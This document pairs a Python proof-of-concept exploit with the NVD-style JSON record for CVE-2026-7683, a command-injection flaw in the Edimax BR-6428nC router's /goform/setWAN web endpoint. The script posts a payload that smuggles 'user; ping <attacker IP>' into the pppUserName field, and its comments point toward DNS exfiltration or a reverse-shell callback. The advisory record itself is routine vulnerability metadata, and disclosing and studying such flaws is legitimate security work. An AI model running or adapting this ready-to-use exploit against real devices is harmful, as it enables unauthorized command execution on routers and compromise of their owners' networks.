CVE-2026-7683

#!/usr/bin/env python3 import requests def exploit(target_ip): # Target endpoint for setting WAN configuration url = f"http://{target_ip}/goform/setWAN" # Attacker's IP for DNS exfiltration or reverse shell check attacker_ip = "192.168.1.100" # Payload: Injecting a command to verify execution (e.g., ping) # The semicolon separates the intended value from the injected command payload = f"user; ping {attacker_ip}" # Form data required by the vulnerable endpoint data = { "pppUserName": payload, "pppPassWord": "password", "wanType": "pppoe" } try: print(f"[*] Sending payload to {target_ip}...") response = requests.post(url, data=data, timeout=5) print(f"[*] Response status: {response.status_code}") print("[*] Check your listener for ping requests or reverse shell connection.") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual target IP target = "192.168.1.1" exploit(target)

{"cve": {"id": "CVE-2026-7683", "sourceIdentifier": "[email protected]", "published": "2026-05-03T07:16:25.010", "lastModified": "2026-05-05T19:30:15.207", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in Edimax BR-6428nC up to 1.16. This affects an unknown function of the file /goform/setWAN of the component Web Interface. This manipulation of the argument pppUserName/pptpUserName causes command injection. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://tzh00203.notion.site/Edimax-BR-6428nC-v1-16-setWAN-pppUserName-Command-Injection-33db5c52018a80dab299ef508e810d00", "source": "[email protected]"}, {"url": "https://tzh00203.notion.site/Edimax-BR-6428nC-v1-16-setWAN-pptpUserName-Command-Injection-33db5c52018a80949cfbcc2091340c80", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/801597", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/801598", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360842", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360842/cti", "source": "[email protected]"}]}}